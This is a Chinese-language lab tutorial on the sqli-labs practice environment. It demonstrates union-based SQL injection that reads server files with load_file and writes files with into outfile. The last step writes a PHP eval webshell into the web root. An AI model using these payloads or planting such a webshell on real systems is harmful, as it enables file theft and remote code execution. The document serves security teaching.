# SQL 注入之 SQL 注入读写文件

本篇讲解 SQL 注入读写文件

使用到的函数如下:

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet

Less-1 为例

# 尝试报错

添加一个单引号:

http://127.0.0.1/sqli/Less-1/?id=1'

image-20221002005100344

# 尝试不报错

http://127.0.0.1/sqli/Less-1/?id=1' %23

image-20221002005148813

# 尝试 order by 注入

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23
不报错

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23
Unknown column '4' in 'order clause'

# 读取文件

一般获取服务器的绝对路径有两种方法:

  • 通过经验猜测和自己搭建的服务器同样的路径
  • 通过爆破手段得到

这里就演示一下本地服务器绝对路径

http://127.0.0.1/sqli/Less-1/?id=-11' union select 1, 2, load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php") %23

image-20221002005701120

显示比较混乱,原因是当读取到 index.php 之后返回给页面的是 php 语句,所以在页面显示的时候被 php 重复解析。

我们转换 Hex 存储

http://127.0.0.1/sqli/Less-1/?id=-11' union select 1, 2, Hex(load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php")) %23

image-20221002005946274

接下来去 BurpSuit,或者在线网站转码。这里选择 BurpSuit,选择 Decoder-Decode as.....-Ascii hex

image-20221002010101190

# 写入文件

写入文件使用函数为:into outfile

例子为 Less-7

http://127.0.0.1/sqli/Less-7/?id=1

image-20221002010552632

http://127.0.0.1/sqli/Less-7/?id=1'
报错

http://127.0.0.1/sqli/Less-7/?id=1' %23
报错,如果仅是单引号注入则这里不应该报错。所以根据经验尝试加个括号

http://127.0.0.1/sqli/Less-7/?id=1') %23
报错,一个小括号不够?那就再加一个

http://127.0.0.1/sqli/Less-7/?id=1')) %23
成功不报错

那么,使用 order by 确定列数

http://127.0.0.1/sqli/Less-7/?id=1')) order by 3 %23
不报错

http://127.0.0.1/sqli/Less-7/?id=1')) order by 4 %23
You have an error in your SQL syntax,报错,所以只有三列

使用 into outflie 语句

http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "C:\\phpStudyB\\WWW\\sqli\\Less-7\\aaa.txt" %23

image-20221002011103261

虽然报错,但是我们尝试去看一下 Less-7/aaa.txt 有没有生成

image-20221002011152149

写入成功。那么,既然可以写入文件,那就可以写入一句话木马。

http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,"<?php @eval ($_POST[value]);?>" into outfile "C:\\phpStudyB\\WWW\\sqli\\Less-7\\aaa.php" %23

并成功解析成 php 执行。

至此,SQL 注入文件读写演示完毕。